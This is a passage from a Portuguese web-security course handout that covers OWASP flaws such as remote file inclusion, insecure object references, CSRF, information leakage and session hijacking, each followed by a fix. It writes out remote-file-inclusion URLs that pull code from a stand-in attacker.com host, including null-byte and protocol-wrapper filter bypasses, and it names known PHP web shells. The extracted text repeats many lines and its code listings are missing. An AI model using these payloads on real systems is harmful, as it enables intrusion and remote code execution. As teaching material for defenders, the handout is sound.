foi construído. Portanto, vejamos o seu arquivo principal: Curso de Extensão Tecnológica de Segurança em Web
foi construído. Portanto, vejamos o seu arquivo principal: Curso de Extensão Tecnológica de Segurança em Web
É possível perceber que se utilizou em abundancia as funções include_once e include em busca

É possível perceber que se utilizou em abundancia as funções include_once e include em busca de produtividade. Na forma com que o sistema está escrito, se for necessário adicionar qualquer item novo ao menu ou alterar alguma coisa em seu rodapé, basta modificar os arquivos menu.php ou rodapé.php.

O interessante para um atacante está no fato da página de conteúdo ser fornecida como um parâmetro para o arquivo principal através da variável http-get pagina. O que muitos programadores não sabem (ou simplesmente ignoram) é que as funções include e família são bem mais extensivas do que eles imaginam. Uma das funcionalidades está no fato de os arquivos poderem estar ou não no servidor local, ou seja, pode -se fazer a inclusão e execução de arquivos em outros servidores.

No caso do PHP, a equipe que desenvolve tem plena consciência dos riscos que a má utilização desta classe de funções pode causar. Para isto, o seguinte “alerta de segurança” esta disponível na documentação oficial do PHP para estas funções:

na documentação oficial do PHP para estas funções: Como dito, se o arquivo remoto tiver código

Como dito, se o arquivo remoto tiver código PHP os mesmos serão executados pelo servidor local. O grande problema de segurança é que, da forma que o sistema esta desenvolvido, um atacante consegue manipular qual arquivo o usuário será passado para a função include().

o usuário será passado para a função include() . Página 44 Curso de Extensão Tecnológica de
o usuário será passado para a função include() . Página 44 Curso de Extensão Tecnológica de

Comparando isto com o principio de segurança, o fato de o programador não seguir a filosofia de que “toda entrada é mal intencionada até que se provem o contrário” deixa o sistema vulnerável e susceptível a um ataque.

No exemplo dado, é possível notar que existem três arquivos principais: home.php, histórico.php e contato.php. Eles são acessados através das seguintes URLs:

http://localhost/AtaquesWeb/rfi/?pagina=home

http://localhost/AtaquesWeb/rfi/?pagina=historico

http://localhost/AtaquesWeb/rfi/?pagina=contato

Isto porque o código concatena a variável pagina com o sufixo ‘.php’ e em seguida repassa o resultado para a função include().

Caso exista um arquivo http://www.attacker.com/phpinfo.txt com o seguinte conteúdo:

com o seguinte conteúdo: E o mesmo for passado como parâmetro para o sistema

E o mesmo for passado como parâmetro para o sistema vulnerável através da seguinte URL:

http://localhost/AtaquesWeb/rfi/?pagina=http://www.attacker.com/phpinfo.txt

O resultado seria o seguinte:

O resultado seria o seguinte: Ocorreu um erro na execução do script. Isto porque antes

Ocorreu um erro na execução do script. Isto porque antes de fazer a inclusão do arquivo phpinfo.txt o mesmo foi concatenado com o sufixo .php, resultado no arquivo phpinfo.txt.php.

Existem três maneiras de se resolver este impasse. A primeira seria renomear o arquivo phpinfo.txt para phpinfo.php, porém, existe o risco de o arquivo ser executado no servidor do atacante (caso o mesmo esteja configurado para isto) ao invés do servidor da vítima. A

configurado para isto) ao invés do servidor da vítima. A Curso de Extensão Tecnológica de Segurança
configurado para isto) ao invés do servidor da vítima. A Curso de Extensão Tecnológica de Segurança

segunda maneira seria a utilização do símbolo de interrogação (?) ao final do nome do arquivo, para que seja acessado o seguinte arquivo no servidor da vítima:

http://www.attacker.com/phpinfo.txt?.php

O símbolo de interrogação (?) é utilizado para separar o caminho do arquivo de suas variáveis. Como o arquivo possui a extensão txt, ele não será executado, ignorando então o restante (.php) do caminho, resultando na execução do arquivo no servidor local.

resultando na execução do arquivo no servidor local. Outra maneira de burlar o sufixo .php inserido

Outra maneira de burlar o sufixo .php inserido pelo código é através da inserção do caractere nulo (%00), pois o mesmo indica o final de uma cadeira de caracteres, portanto o PHP ignorará tudo o que estiver após ele.

http://localhost/AtaquesWeb/rfi/?pagina=http://www.attacker.com/phpinfo.txt%00

No exemplo de ataque, foi utilizado um script que simplesmente executa a função phpinfo() porém, para um atacante, isto se limita no que a linguagem possui. Com esse tipo de vulnerabilidade é possível enviar e-mails falso, ler e alterar o conteúdo de arquivos e até mesmo executar comandos no Sistema Operacional. Veja um exemplo de código que executa comandos no Sistema Operacional:

de código que executa comandos no Sistema Operacional: Página 46 Curso de Extensão Tecnológica de Segurança
de código que executa comandos no Sistema Operacional: Página 46 Curso de Extensão Tecnológica de Segurança
de código que executa comandos no Sistema Operacional: Página 46 Curso de Extensão Tecnológica de Segurança

O código acima simplesmente utiliza a função passthru() do PHP para executar um dado

comando e imprimir o retorno na tela. Semelhante a elas existem diversas outras funções e

métodos interessantes de apresentar e interagir com o usuário.

Existem scripts famosos que já possuem dezenas de recursos e funcionalidades co mo a c99.txt (atualizado recentemente para c100.txt) e o r57.txt, que possuem mecanismo que burlam métodos padrões de proteção como o safe-mode do PHP além de envio de email, navegação

no sistema de arquivos, exploits e backdoor embutidos.

Existem diversas tentativas de se evitar esse tipo de ataque, porém muitas delas não possuem sucesso pela falta de conhecimento dos detalhes que a linguagem fornecem. Um exemplo disto está na filtragem dos dados fornecidos, criando assim uma blacklist de conteúdo, evitando que alguns padrões levem ao sucesso em uma tentativa de ataque:

alguns padrões levem ao sucesso em uma tentativa de ataque: No exemplo acima, é feito a

No exemplo acima, é feito a filtragem da cadeia de caracteres http:// e ftp://, entretanto, pela documentação oficial, a função include() acessa diversos protocolos e Wrappers. O exemplo de proteção oferecido pode ser burlando facilmente utilizado os seguintes artifícios:

https://www.attacker.com/cmd.txt?

ftps://www.attacker.com/cmd.txt%00

ssh2.sftp://www.attacker.com/cmd.txt%00 Servidor SSH

\\www.attacker.com\cmd.txt%00 Servidor Samba ou Compartilhamento de Arquivos

 Servidor Samba ou Compartilhamento de Arquivos Curso de Extensão Tecnológica de Segurança em Web
 Servidor Samba ou Compartilhamento de Arquivos Curso de Extensão Tecnológica de Segurança em Web

Uma alternativa seria verificar se existe alguma configuração que impeça a inserção de arquivos remotos. No caso do PHP, existe uma configuração chamada allow_url_fopen que especifica se o PHP terá permissão ou não de acess ar arquivos remotamente . Ao habilitar essa configuração (Colocar allow_url_fopen = Off no php.ini), ocorreria o seguinte alerta ao tentar explorar a falha prevista:

o seguinte alerta ao tentar explorar a falha prevista: Porém mais uma vez, isto apenas gera

Porém mais uma vez, isto apenas gera uma falsa segurança, pois mesmo assim outros recursos podem ser obtidos com a não implementação da segurança diretamente na aplicação. Porém como os recursos não se enquadram em outra classe de vulnerabilidade, os mesmos serão vistos mais adiante na sessão 3.4 (Referência Direta a Objetos Inseguros).

3.3.2 Solução

A solução viável para o exemplo de código vulnerável seria a criação de uma whitelist ao invés de uma blacklist, permitindo que seja passado como parâmetro apenas o que for necessário. Um exemplo seria a utilização da seguinte função:

Um exemplo seria a utilização da seguinte função: Página 48 Curso de Extensão Tecnológica de Segurança
Um exemplo seria a utilização da seguinte função: Página 48 Curso de Extensão Tecnológica de Segurança
Um exemplo seria a utilização da seguinte função: Página 48 Curso de Extensão Tecnológica de Segurança

Esta função é responsável por definir quais caracteres são validos em um determinado parâmetro. Com isto, bastaria simplesmente utilizá-lo em seu código como segue:

bastaria simplesmente utilizá-lo em seu código como segue: Curso de Extensão Tecnológica de Segurança em Web
bastaria simplesmente utilizá-lo em seu código como segue: Curso de Extensão Tecnológica de Segurança em Web
bastaria simplesmente utilizá-lo em seu código como segue: Curso de Extensão Tecnológica de Segurança em Web

3.4. Referência Direta a Objetos Inseguros (OWASP #4)

A vulnerabilidade de Referência Direta a Objetos ocorre quando o desenvolvedor confia nos

dados fornecidos por um usuário, principalmente quando esses dados influenciam na política de controle e de acesso. É comum vermos que diversas informações que são utilizadas para manipular filtros e permissões podem ser livremente alteradas por um usuário mal

intencionado.

3.4.1 Primeiro Exemplo - Acesso a Arquivos do Sistema Operacional

Um exemplo seria o mesmo visto na sessão anterior que, com o código vulnerável e a configuração allow_url_fopen, não seria possível acessar arquivos remotos, porém nada impede um atacante de acessar arquivos locais do servidor. Um exemplo seria a utilização da vulnerabilidade para acessar arquivos sigilosos do sistema operacional, como arquivos de configuração e arquivos de contas de usuários.

Um exemplo abaixo, foi acessar o arquivo boot.ini contido na raiz do Sistema Operacional:

o arquivo boot.ini contido na raiz do Sistema Operacional: Em um processo de invasão de um

Em um processo de invasão de um servido Unix (Linux e família), esta falha possibilitaria ao atacante acessar o arquivo /etc/passwd que contem informações das contas. Muitos acreditam que o simples fato de se ter às contas e não às senhas não oferece qualquer risco. Mais isto não é o fato.

O autor desde material ao fazer o serviço de pen-test (Teste de Intrusão) em uma aplicação

Web, notou uma falha que possibilitava a um atacante saber se uma conta era válida ou não no sistema. Com isto, fez-se um programa que buscava enumerar as contas utilizando de força bruta. Após algumas horas, conseguiu -se o nome de onze (11) contas válidas e, com as contas bastaria fazer outro ataque de força-bruta para obter as senhas. Como dicionário de senha, foi

gerado um arquivo com todas as possíveis datas em um intervalo (ex: 010170 até 31122007) e,

datas em um intervalo (ex: 010170 até 31122007) e, Página 50 Curso de Extensão Tecnológica de
datas em um intervalo (ex: 010170 até 31122007) e, Página 50 Curso de Extensão Tecnológica de

por incrível que pareça foi possível obter acesso a quatro das contas. Com isto, é possível demonstra que nunca se deve desvalorizar uma informação, por mais desprezível que ela seja.

3.4.2 Segundo Exemplo - Acesso a Registros do Banco de Dados

Outro exemplo muito comum ocorre quando o desenvolvedor utiliza o lado do usuário (campos hidden, cookies, etc) para armazenar informações que definem quem é o usuário ou informações relacionadas à política de segurança. Pois já que está do lado do usuário ( client- site) nada impede um atacante de alterá-lo.

Um exemplo seria o seguinte:

um atacante de alterá-lo. Um exemplo seria o seguinte: Este código efetua uma consulta filtrando somente

Este código efetua uma consulta filtrando somente os registros cujo dono seja o usuário atual, exibe o resultado da listagem dos carros em uma tabela e para cada item exibe uma opção de deleção.

É possível notar uma preocupação com a segurança, pois existe a utilização da função do PHP htmlspecialchars() que, como visto quando falamos de XSS, evita que esse tipo de exploração ocorra.

É possível notar que ele faz a utilização do seguinte acesso para efetuar a remoção de um dado registro:

acesso para efetuar a remoção de um dado registro: Curso de Extensão Tecnológica de Segurança em
acesso para efetuar a remoção de um dado registro: Curso de Extensão Tecnológica de Segurança em

http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=14

Ele acessa um arquivo chamado ação.php passando os parâmetro op com o valor deletar e uma variável carro que seria a possível identificação do veículo. Vejamos o conteúdo do arquivo acao.php:

do veículo. Vejamos o conteúdo do arquivo acao.php: Nota-se neste código que o mesmo não está

Nota-se neste código que o mesmo não está vulnerável a SQL Injection, pois é verificado se o valor que deveria ser numérico realmente consiste unicamente em um valor numérico. Em seguida é utilizado este valor para efetuar a remoção do registro do banco de dados.

Um atacante teria sucesso em remover qualquer registro da tabela tblcarros, pois não é especificado no comando SQL qual é o proprietário do veículo e, por mais que na tela de listagem só existam registro do usuário, é possível montar uma requisição especificando qualquer identificador:

http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=1

http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=2

http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=3

http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=n

Se o objetivo fosse limpar todos os registros do Banco de Dados, seria simples desenvolver uma ferramenta que executasse um ciclo (loop) e removesse registro por registro.

um ciclo (loop) e removesse registro por registro. Página 52 Curso de Extensão Tecnológica de Segurança
um ciclo (loop) e removesse registro por registro. Página 52 Curso de Extensão Tecnológica de Segurança

3.4.3 Solução

A solução para este tipo de falha é, como em qualquer outra, não confiar nos dados fornecidos pelo usuário. No exemplo fornecido, o seguinte código inibe esse tipo de ataque:

fornecido, o seguinte código inibe esse tipo de ataque: Como visto no código, juntamente com o

Como visto no código, juntamente com o comando SQL é fornecido o código do usuário que está (ou pelo menos deveria estar) exercendo a função de remoção do registro. Na solução simplesmente levamos em consideração que “toda entrada é mal intencionada até que se provem o contrário.”

é mal intencionada até que se provem o contrário.” Curso de Extensão Tecnológica de Segurança em
é mal intencionada até que se provem o contrário.” Curso de Extensão Tecnológica de Segurança em

3.5. Cross Site Request Forgery (OWASP #5)

A vulnerabilidade de Cross Site Request Forgery (XSRF) consiste em uma variação da

vulnerabilidade de Cross Site Scripting (XSS). Ela parte do mesmo principio do XSS, ou seja,

alterar uma informação que esta sendo enviada ao navegador do usuário (vítima). Porém, é importante ressaltar que qualquer sistema vulnerável a XSS também está vulnerável a XSRF más nem toda aplicação vulnerável a XSRF está vulnerável a Cross-Site-Scripting.

3.5.1 Primeiro Exemplo Forum Logout

Diversos fóruns permitem aos membros associarem suas contas a um avatar, ou seja, a uma figura de exibição. Essa associação geralmente é feita com ‘avatares’ pré -definidos, através do envio de arquivos ou simplesmente através do envio do endereço (url) da figura.

É comum ver ataques a fórum inseguros que utilizam deste recurso. Um usuário mal intencionado simplesmente escolhe a opção de fornecer um endereço de internet como seu avatar e, como caminho da figura, insere o seguinte valor:

http://www.forum.com/logout.php

Desta forma o fórum, ao exibir as informações do usuário enviaria o seguinte para o navegador:

<img src=” http://www.forum.com/logout.php“ />

Fazendo com que seja enviada uma solicitação de logout utilizando as credenciais do usuário.

3.5.2 Segundo Exemplo Sites de e-Commerce

Outro tipo de sistema muito susceptível a ataques de XSRF são os sites de comércio eletrônico. Isto ocorre principalmente pela vantagem que um atacante teria ao conseguir que outros usuários enviassem requisições utilizando suas respectivas credenciais de acesso, podendo fazer lances e efetuar comprar de produtos de maneira inconsciente.

O portal de veículos utilizado neste material foi modificado para que os usuários possam trocar

os veículos entre si . Foram feitos as seguintes modificações:

entre si . Foram feitos as seguintes modificações: Página 54 Curso de Extensão Tecnológica de Segurança
entre si . Foram feitos as seguintes modificações: Página 54 Curso de Extensão Tecnológica de Segurança
Agora é possível alterar o proprietário de um carro e também fornecer um caminho (url)

Agora é possível alterar o proprietário de um carro e também fornecer um caminho (url) de uma foto ao fazer o cadastro de um novo veículo. Para a alteração do proprietário no formulário, temos o seguinte código:

do proprietário no formulário, temos o seguinte código: Então para alterar um proprietário de um veículo,

Então para alterar um proprietário de um veículo, o seguinte modelo de requisição é enviado para o servidor:

acao.php?op=troca_dono&carro=[id do carro]&novo_dono=[id do novo dono]

Vejamos o conteúdo da operação troca_dono do arquivo acao.php:

o conteúdo da operação troca_dono do arquivo acao.php: Curso de Extensão Tecnológica de Segurança em Web
o conteúdo da operação troca_dono do arquivo acao.php: Curso de Extensão Tecnológica de Segurança em Web
Repare que a alteração é feita prevenindo -se de SQL Injection (OWASP #2) e de

Repare que a alteração é feita prevenindo -se de SQL Injection (OWASP #2) e de Referência Indireta a Objetos Inseguros (OWASP #4) portanto o mesmo aparenta seguro. O problema está não no fato de a requisição ter sido feito utilizando o usuário proprietário do carro, mas sim se foi realmente o usuário quem à fez.

Se o usuário Maycon Maia deseja obter (roubar) o carro de código quatro (4) que pertence a um usuário Daniel da Silva, basta ele cadastrar um carro e definir o seguinte como caminho da figura de exibição:

http://localhost/AtaquesWeb/owasp4/acao.php?op=troca_dono&carro=4&novo_dono=2

Onde quatro é o código do veículo e dois é o seu próprio código de usuário.

O resultado para a listagem de veículos seria o seguinte:

O resultado para a listagem de veículos seria o seguinte: Página 56 Curso de Extensão Tecnológica
O resultado para a listagem de veículos seria o seguinte: Página 56 Curso de Extensão Tecnológica
Repare que para o veículo do usuário Maycon Maia não apareceu a imagem de exibição,

Repare que para o veículo do usuário Maycon Maia não apareceu a imagem de exibição, vejamos no HTML da página o que esta inserido:

exibição, vejamos no HTML da página o que esta inserido: É possível ver através do inspector

É possível ver através do inspector do FireBug que o cadastro foi feito como o atacante (Maycon) previu. Agora basta ele esperar o usuário Daniel acessar a listagem de veículo que a requisição será enviada para o servidor com suas credenciais e a troca será efetuada e a listagem de veículos ficará da seguinte forma:

e a listagem de veículos ficará da seguinte forma: Curso de Extensão Tecnológica de Segurança em
e a listagem de veículos ficará da seguinte forma: Curso de Extensão Tecnológica de Segurança em
Ou seja, o veículo de código 4 foi alterado para o usuário Maycon pelo usuário

Ou seja, o veículo de código 4 foi alterado para o usuário Maycon pelo usuário Daniel de maneira inconsciente.

2.5.3 Solução

A primeira coisa à fazer para prover uma solução seria não deixar qualquer vulnerabil idade de XSS em sua aplicação, pois como dito, é bem provável que um atacante consiga explorar uma falha de XSRF através de uma vulnerabilidade de XSS.

Com relação ao exemplo, mesmo a utilização da função addslashes() não deixaria a aplicação livre da vulnerabilidade de XSRF. Para isto, a OWASP recomenda desenvolver um controle próprio de tokens, ou seja, não depender exclusivamente do cookie do usuário para garantir a autenticidade. Uma alternativa seria gerar um valor aleatório e armazená -lo em um campo hidden juntamente com o formulário de troca de proprietário. Esse campo seria enviado junto da solicitação de alteração de proprietário e seria validado com o valor original em sessão para garantir que realmente foi uma solicitação requerida pelo usuário.

que realmente foi uma solicitação requerida pelo usuário. Página 58 Curso de Extensão Tecnológica de Segurança
que realmente foi uma solicitação requerida pelo usuário. Página 58 Curso de Extensão Tecnológica de Segurança

3.6. Vazamento de Informação e Tratamento Incorreto de Erros (OWASP #6)

A vulnerabilidade de Vazamento de Informação (ou Information Leak do inglês) sempre serviu de grande auxílio para um atacante experto. Em um processo de pen-test (Teste de Intrusão), quando se detecta um vazamento de informação, a mesma é inserida no relatório técnico como grau de risco e possível vetor de ataque.

Qualquer informação que não foi útil para o usuário não deve ser fornecida a ele. Ou melhor, só deve ser fornecido ao usuário informações que fariam falta a ele. É extremamente comum vermos paginas e portais lançando dumps de pilha de chamada, comandos inteiros de SQL, informações de debug etc, simplesmente por pormos uma aspa simples em uma variável.

Além disto, um vazamento de informação pode estar tão implícito que dificilmente percebemos, porém um atacante logo percebe.

3.6.1 Primeiro Exemplo Mensagens Diversas

Um exemplo clássico e comum de encontrar-se na internet é o visto no trecho de código abaixo já visto quando estávamos estudando SQL Injection:

já visto quando estávamos estudando SQL Injection : Curso de Extensão Tecnológica de Segurança em Web
já visto quando estávamos estudando SQL Injection : Curso de Extensão Tecnológica de Segurança em Web
já visto quando estávamos estudando SQL Injection : Curso de Extensão Tecnológica de Segurança em Web

É possível notar a preocupação com SQL Injection através da utilização da função addslashes() do PHP. Contato, o programador fornece ao usuário mais informações que ele precisa. Se um usuário digitar um usuário e uma se nha, e algum dos dois estiver errado, a aplicação exibe qual dos dois está errado, ou seja, se ele não encontrou o usuário especificado ou se a senha fornecida esta incorreta. Ai que temos o vazamento de informação. Um atacante hábil facilmente ver o possível vetor de ataque: um brute-force. Porém para brute-force precisa-se de dicionários com usuários e senhas (combolist).

Se formos pegar os 200 sobrenomes mais comuns da língua portuguesa e prefixarmos cada um

teríamos exatamente 5.200

possíveis usuários. Se para senha utilizássemos todos os possíveis aniversários DDMMAA

desde 01/01/1960 até 31/12/2008, teríamos aproximadamente 17.520 senhas possíveis.

deles com uma letra do alfabeto (aalves, balves, calves, dalves

),

Se um atacante necessitasse de fazer um brute-force puro utilizando todos os possíveis usuários com todas as possíveis senhas, o mesmo teria que enviar mais de 91 milhões de requisições para o servidor (5.200 * 17.520 = 91.104.000). Levando em consideração que cada requisição demorasse aproximadamente 1 segundo (isso ainda é rápido), levaria nada mais nada menos do que um pouco menos de 3 anos para terminar todos as possibilidades.

Porém, através da descoberta do vazamento de informação, um atacante divide o ataque. Inicialmente ele desenvolve um programa em sua linguagem preferida que efetue as requisições com todos os usuários, se na resposta ele encontra algo como “Usuário Inválido” ele simplesmente descarta o usuário e passa para o próximo. Com isto, ele consegue enumerar possíveis usuários do sistema. E isto ele faria em menos de 1h30 ( 5.200 com uma requisição por segundo dura aproximadamente 1 hora e 27 minutos). Se com isto ele encontrar, por exemplo, 5 (cinco) usuários validos, ao fazer o brute-force com as senhas, ele demoraria um pouco mais de 24 horas (5 * 17.520 = 87600 tentativas. Com uma tentativa por segundo leva aproximadamente 24h e 8 minutos).

3.6.2 Segundo Exemplo Mensagens de Erro

É comum vermos mensagens de erros de depuração de auxilio ao desenvolvedor sendo enviado ao usuário. Com estas mensagens obtivemos comandos SQL ou pelo menos parte deles, fluxo de execução ( stack trace).

Um exemplo de Vazamento de Informação pelo não tratamento de erros pode ser visto na figura abaixo:

não tratamento de erros pode ser visto na figura abaixo: Página 60 Curso de Extensão Tecnológica
não tratamento de erros pode ser visto na figura abaixo: Página 60 Curso de Extensão Tecnológica
É possível notar o nome de dois campos. Alé m disto, é possível saber que

É possível notar o nome de dois campos. Alé m disto, é possível saber que não existe qualquer padrão de nomenclatura, ou seja, frequentemente vê-se tabelas com prefixo tbl, tab_ etc. Além de campos com prefixo int, str, usu_ etc pra representar seu tipo. Com isto é possível saber auxiliar um ataque de brute-force caso não exista ou não se tenha permissão ao INFORMATION_SCHEMA.

Solução

Não existe uma solução objetiva para as vulnerabilidades de Vazamento de Informação. U ma alternativa seria a boa prática de desenvolvimento seguro, de maneira a ficar a daptado aos possíveis furos que um atacante tiraria proveito, podendo assim evitá-los.

Uma alternativa (recomendada pela OWASP) seria utilizar ferramentas de auditoria como WebScarab da OWASP, que força suas aplicações a gerarem erros, podendo assim estabilizá-lo antes que um atacante o encontre e tire proveito.

No caso do PHP, através da diretiva error_reporting no php.ini é possível definir quais erros e alertas serão enviadas para o usuário. Para não exibir qualquer erro ao usuário basta alterar o valor da variável error_reporting no php.ini como segue:

error_reporting ~E_ALL

no php.ini como segue: error_reporting ~E_ALL Curso de Extensão Tecnológica de Segurança em Web
no php.ini como segue: error_reporting ~E_ALL Curso de Extensão Tecnológica de Segurança em Web

3.7. Furo de Autenticação e Gerência de Sessão (OWASP #7)

O Furo de Autenticação e Gerência de Sessão, apesar de pouco explorado por atacantes, é um

fator determinante na segurança de um sistema. Se um atacante conseguir obter acesso ao controle de sessão de sua aplicação ele conseguirá acessar com qualquer uma das credenciais de acesso.

É comum encontrar sistemas que utilizam próprios sistemas de gerência de sessão muitas

vezes para tentar obter um controle melhor como a funcionalidade de saber quais são os visitantes locais ou ter um controle de expiração de sessão própria. Isto consiste em uma grave

falha de segurança, pois por uma má implementação um atacante poderia obter controle total do mecanismo de autenticação utilizado.

3.7.1 Sequestro de Sessão

Quando simplesmente se confia no cookie enviado pelo usuário (padrão de controle de sessão dos servidores Web), existe uma vulnerabilidade caso, através de alguma falha, um atacante conseguisse obter o valor do mesmo.

Um exemplo clássico seria a utilização de uma falha de Cross -Site-Scripting para fazer o sequestro da sessão de um usuário autenticado através da leitura, armazenamento e replicação do cookie. Com isto, obtém-se acesso ao sistema utilizando as credenciais da vítima de maneira a sequer precisar se autenticar e obtiver a senha do mesmo.

Um exemplo de código vulnerável pode ser visto abaixo:

Um exemplo de código vulnerável pode ser visto abaixo: Neste exemplo é possível perceber a verificação

Neste exemplo é possível perceber a verificação de autenticação pela variável de sessão “logado”. Este tipo de código deveria ser repetido em todas as páginas e, quando um usuário tentar acessar qualquer uma das páginas sem estar devidamente autenticado seria redirecionado para a página de login.

A sessão consiste em uma relação entre o cliente (navegador) e o servidor através dos cookies.

Quando o usuário efetua a autenticação, o servidor envia n o cabeçalho http um parâmetro

Set-Cookie, informando-o qual é o cookie de autenticação gerado. Então, a cada nova requisição do cliente, é enviado no cabeçalho http um parâmetro cookie contendo o valor obtido, fazendo com que o servidor assimile a requisição ao cliente autenticado.

Utilizando uma falha de Cross-Site-Scripting é possível enviando o valor do cookie, acessível através da variável document.cookie, para outro servidor. Este servidor pode simplesmente armazená-la para um atacante sequestrar a sessão do usuário, porém tendo o risco da sessão

a sessão do usuário, porém tendo o risco da sessão Página 62 Curso de Extensão Tecnológica
a sessão do usuário, porém tendo o risco da sessão Página 62 Curso de Extensão Tecnológica

não existir mais no intervalo de tempo, ou poderia escrever um script que faria automaticamente as requisições necessárias.

Essas requisições poderiam fazer diversos envios ao servidor utilizando o cookie passado como parâmetro, de maneira a efetuar as operações com as credenciais do usuário.

Um exemplo de código que captura o cookie enviado pelo usuário pode ser visto abaixo:

o cookie enviado pelo usuário pode ser visto abaixo: Com isto, bastaria explorar uma falha de

Com isto, bastaria explorar uma falha de Cross-Site-Scripting de maneira que o navegador execute o seguinte script Javascript:

que o navegador execute o seguinte script Javascript: Esta é uma das diversas maneiras que temos

Esta é uma das diversas maneiras que temos de chamar um script em outro servidor. Além disto, podemos utilizar tags iframe, utilizar Ajax, redirecionar a página fazendo com que nosso código retorne para a página original, etc.

Além das falhas de XSS, o valor do cookie pode ser obtido através de ataques à rede local. Um sniffer instalado em uma máquina juntamente com um ataque de man-in-the-middle (MItM) pode ser extremamente útil a um atacante que deseja obter o cookie de alguma sessão autenticada.

3.7.2 Solução

Uma possível solução seria, ao criar a sessão do usuário, associar o IP que a criou junto da sessão. Com isto, basta a cada acesso fazer uma checagem se o endereço que esta tentando acessar alguns recursos está utilizando um cookie realmente criado por ele.

está utilizando um cookie realmente criado por ele. Curso de Extensão Tecnológica de Segurança em Web
está utilizando um cookie realmente criado por ele. Curso de Extensão Tecnológica de Segurança em Web

Um exemplo de código que faça esse tipo de verificação pode ser visto abaixo:

que faça esse tipo de verificação pode ser visto abaixo: Note que o código leva em

Note que o código leva em consideração que, ao se criar uma nova sessão, deve-se salvar o IP que foi utilizado, para que seja feita a comparação a cada requisição. Portanto, esta solução possui dois problemas notáveis: (1) se o ataque partir da mesma rede da vítima, ou seja, se tanto o atacante quanto a vitima estejam na mesma rede interna e o servidor estiver na rede externa, ambos (atacante e vítima) teria o mesmo IP externo para o servidor. (2) Existe um vetor de ataque para Sequestro de Sessão ( Session Hijacking) que se chama Fixação de Sessão (Session Fixation ). Esta técnica consiste em definir a sessão da vítima antes me smo dela ter uma sessão criada. No exemplo, a sessão existiria, porém não existiriam as variáveis que definiriam a autenticação. Quando o usuário autenticar, a mesma sessão será utilizada para definir as variáveis e o IP estaria associado com o IP do atacante (quem criou a sessão).

Apesar de existir a possibilidade de sequestro de sessão, a falha em si não está não sessão, mas sim na vulnerabilidade de Cross - Site -Scripting que permitiria ao atacante obter o cookie de autenticação.

Outra possível solução está em, a cada requisição, criar valores aleatórios (tokens) associados a qualquer campo de formulário e, a cada requisição, validar se o token foi o mesmo enviado. Porém, se o atacante criar um worm e o usuário não interagir muito com o sistema, seria possível obter o valor do token da página e submeter o ataque antes que o mesmo mude.

Para evitar qualquer maneira de Sequestro de Sessão, existe um parâmetro de cookie chamado HttpOnly. Este parâmetro diz para cliente aceitar os cookies normalmente, porém sem os repassar para a estrutura JavaScript, de maneira a impedir a existência da variável document.cookie.

3.7.3 Nota Extra

O sequestro de sessão não é um problema que afeta somente o http. Qualquer meio de comunicação que garanta a vinculação e legitimidade entre os extremos através de um identificador único pode ser alvo de sequestro de sessão. Um exemplo esta no TCP/IP, que utiliza um número seqüencial (Sequence Number) para garantir a autenticidade das informações. Se um atacante conseguir obter esse valor, ele poderá sequestrar a conexão aberta de maneira a interagir com ambos os lados. É claro que quando temos um meio criptografado o contexto muda, porém é notável que sempre temos meios de subverter uma máquina caso estejamos presentes na mesma rede que ela.

uma máquina caso estejamos presentes na mesma rede que ela. Página 64 Curso de Extensão Tecnológica
uma máquina caso estejamos presentes na mesma rede que ela. Página 64 Curso de Extensão Tecnológica

3.8. Armazenamento Criptográfico Inseguro (OWASP #8)

É extremamente comum vermos aplicações Web trabalhando com dados sensíveis. Quando

isto acontece, deve-se prezar principalmente a confidencialidade das informações. Para isto, existem algoritmos de criptografia, que visam proteger os dados caso o banco de dados seja comprometido (já vimos que isto é possível).

Porém, é comum vermos dados sigilosos utilizando uma fraca proteção, e expostos diretamente ao usuário. Iremos citar alguns exemplos comuns dos problemas causados pela não ou má utilização dos recursos de criptografia existentes em ambiente Web.

3.8.1 Criptografia VS Hash

Esta diferença é comum aos que estudar boas praticas de segurança em aplicações. Porém, é comum vermos somente uma ou nenhuma sendo utilizada.

A diferença básica entre funções criptográficas e funções hash está quando a sua inversão.

Quando se criptografa um dado, é possível desfazê-lo, ou seja, utilizando uma chave de descodificação é possível obter a informação original. Já para funções hash não existe inversa. Ao fazer o calculo hash de um dado valor, não existe um método de se obter o dado original.

Funções hashs são comumente utilizadas para se verificar a integridade de dados, ou seja, se fornecermos uma informação e juntamente com ela seu hash, quando o receptor obter a informação e recalcular o hash novamente, ambos, obtido e gerado, de vem ser idênticos. A mudança de um bit sequer do dado alteraria completamente o hash resultante.

Ataques comuns em funções de hashs são o processo de colisão, ou seja, de se encontrar dois valores que resultam o mesmo valor hash, com isto, um determinado valor pode ser utilizado para se passar por um outro valor. Porém, em dados pequenos como senhas, esta prática é inviável e ineficaz, pois não existe um meio aprimorado de se obter tal colisão.

3.8.2 Mal da Política de Segurança

Muitas vezes em um processo de implantação de uma política de segurança, o consultor de segurança põe como parte da responsabilidade de segurança todos os ativos (funcionários) envolvidos no processo. Um cenário comum é a implantação de política de segurança em uma empresa é definir como regra para os usuários colocar senhas fortes nos aplicativos de maneira a evitar que ataques de força-bruta não surtam efeito. Outra metodologia comum é ignorar qualquer política de segurança para os usuários e confirmar somente em métodos fortes de criptografia.

Um cenário ideal seria utilizar ambos os casos, ou seja, criar uma política de segurança de senhas fortes para os usuários e não depender somente disto, procurando utilizar mecanismos fortes de proteção.

disto, procurando utilizar mecanismos fortes de proteção. Curso de Extensão Tecnológica de Segurança em Web
disto, procurando utilizar mecanismos fortes de proteção. Curso de Extensão Tecnológica de Segurança em Web

3.8.3 Ataques a Sistemas Criptográficos

Em criptografia, apesar dos algoritmos serem muitas vezes públicos, o grande dilema está na proteção da chave de criptografia. Quando se fala de criptografia, dois tipos de algoritmos são definidos: os algoritmos simétricos e os algoritmos assimétricos.

Um algoritmo simétrico tem a característica de utilizar a mesma chave tanto para a codificação dos dados quanto para a descodificação. O grande problema é que, se duas máquinas não se conhecem e deseja trocar dados, é necessário negociarem a chave e a mesma ser trocada entre as duas. Neste instante um atacante pode utilizar de ataques envolvendo o TCP/IP para capturar a chave, fazendo a mesma não cumprir seu papel de fornecer confidencialidade das informações.

